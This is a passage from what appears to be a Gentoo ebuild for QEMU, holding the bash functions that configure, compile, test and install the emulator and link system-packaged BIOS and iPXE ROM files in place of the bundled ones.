$(conf_softmmu seccomp)
$(conf_softmmu smartcard)
$(conf_softmmu snappy)
$(conf_softmmu spice)
$(conf_softmmu ssh libssh2)
$(conf_softmmu usb libusb)
$(conf_softmmu usbredir usb-redir)
$(conf_softmmu uuid)
$(conf_softmmu vde)
$(conf_softmmu vhost-net)
$(conf_softmmu virgl virglrenderer)
$(conf_softmmu virtfs)
$(conf_softmmu vnc)
$(conf_softmmu vte)
$(conf_softmmu xen)
$(conf_softmmu xen xen-pci-passthrough)
$(conf_softmmu xfs xfsctl)
)
case ${buildtype} in
user)
conf_opts+=(
--enable-linux-user
--disable-system
--disable-blobs
--disable-tools
)
;;
softmmu)
# audio options
local audio_opts="oss"
use alsa && audio_opts="alsa,${audio_opts}"
use sdl && audio_opts="sdl,${audio_opts}"
use pulseaudio && audio_opts="pa,${audio_opts}"
conf_opts+=(
--disable-linux-user
--enable-system
--with-system-pixman
--audio-drv-list="${audio_opts}"
)
use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) )
;;
tools)
conf_opts+=(
--disable-linux-user
--disable-system
--disable-blobs
$(use_enable bzip2)
)
static_flag="static"
;;
esac
local targets="${buildtype}_targets"
[[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" )
# Add support for SystemTAP
use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
# We always want to attempt to build with PIE support as it results
# in a more secure binary. But it doesn't work with static or if
# the current GCC doesn't have PIE support.
if use ${static_flag}; then
conf_opts+=( --static --disable-pie )
else
gcc-specs-pie && conf_opts+=( --enable-pie )
fi
echo "../configure ${conf_opts[*]}"
cd "${builddir}"
../configure "${conf_opts[@]}" || die "configure failed"
# FreeBSD's kernel does not support QEMU assigning/grabbing
# host USB devices yet
use kernel_FreeBSD && \
sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
}
src_configure() {
local target
python_setup
softmmu_targets= softmmu_bins=()
user_targets= user_bins=()
for target in ${IUSE_SOFTMMU_TARGETS} ; do
if use "qemu_softmmu_targets_${target}"; then
softmmu_targets+=",${target}-softmmu"
softmmu_bins+=( "qemu-system-${target}" )
fi
done
for target in ${IUSE_USER_TARGETS} ; do
if use "qemu_user_targets_${target}"; then
user_targets+=",${target}-linux-user"
user_bins+=( "qemu-${target}" )
fi
done
softmmu_targets=${softmmu_targets#,}
user_targets=${user_targets#,}
[[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu"
[[ -n ${user_targets} ]] && qemu_src_configure "user"
[[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools"
}
src_compile() {
if [[ -n ${user_targets} ]]; then
cd "${S}/user-build"
default
fi
if [[ -n ${softmmu_targets} ]]; then
cd "${S}/softmmu-build"
default
fi
if [[ -z ${softmmu_targets}${user_targets} ]]; then
cd "${S}/tools-build"
default
fi
}
src_test() {
if [[ -n ${softmmu_targets} ]]; then
cd "${S}/softmmu-build"
pax-mark m */qemu-system-* #515550
emake -j1 check
emake -j1 check-report.html
fi
}
qemu_python_install() {
python_domodule "${S}/scripts/qmp/qmp.py"
python_doscript "${S}/scripts/kvm/vmxcap"
python_doscript "${S}/scripts/qmp/qmp-shell"
python_doscript "${S}/scripts/qmp/qemu-ga-client"
}
src_install() {
if [[ -n ${user_targets} ]]; then
cd "${S}/user-build"
emake DESTDIR="${ED}" install
# Install binfmt handler init script for user targets
newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
fi
if [[ -n ${softmmu_targets} ]]; then
cd "${S}/softmmu-build"
emake DESTDIR="${ED}" install
# This might not exist if the test failed. #512010
[[ -e check-report.html ]] && dohtml check-report.html
if use kernel_linux; then
udev_dorules "${FILESDIR}"/65-kvm.rules
fi
if use python; then
python_foreach_impl qemu_python_install
fi
fi
if [[ -z ${softmmu_targets}${user_targets} ]]; then
cd "${S}/tools-build"
emake DESTDIR="${ED}" install
fi
# Disable mprotect on the qemu binaries as they use JITs to be fast #459348
pushd "${ED}"/usr/bin >/dev/null
pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
popd >/dev/null
# Install config file example for qemu-bridge-helper
insinto "/etc/qemu"
doins "${FILESDIR}/bridge.conf"
# Remove the docdir placed qmp-commands.txt
mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/" || die
cd "${S}"
dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
newdoc pc-bios/README README.pc-bios
dodoc docs/qmp-*.txt
if [[ -n ${softmmu_targets} ]]; then
# Remove SeaBIOS since we're using the SeaBIOS packaged one
rm "${ED}/usr/share/qemu/bios.bin"
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
fi
# Remove vgabios since we're using the vgabios packaged one
rm "${ED}/usr/share/qemu/vgabios.bin"
rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
fi
# Remove sgabios since we're using the sgabios packaged one
rm "${ED}/usr/share/qemu/sgabios.bin"
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
fi
# Remove iPXE since we're using the iPXE packaged one
rm "${ED}"/usr/share/qemu/pxe-*.rom
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
fi
fi
qemu_support_kvm && readme.gentoo_create_doc
}
pkg_postinst() {
if qemu_support_kvm; then
readme.gentoo_print_elog
fi
if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
udev_reload
fi
fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
}
pkg_info() {
echo "Using:"
echo " $(best_version app-emulation/spice-protocol)"
echo " $(best_version sys-firmware/ipxe)"
echo " $(best_version sys-firmware/seabios)"
if has_version 'sys-firmware/seabios[binary]'; then
echo " USE=binary"
else
echo " USE=''"
fi
echo " $(best_version sys-firmware/vgabios)"
}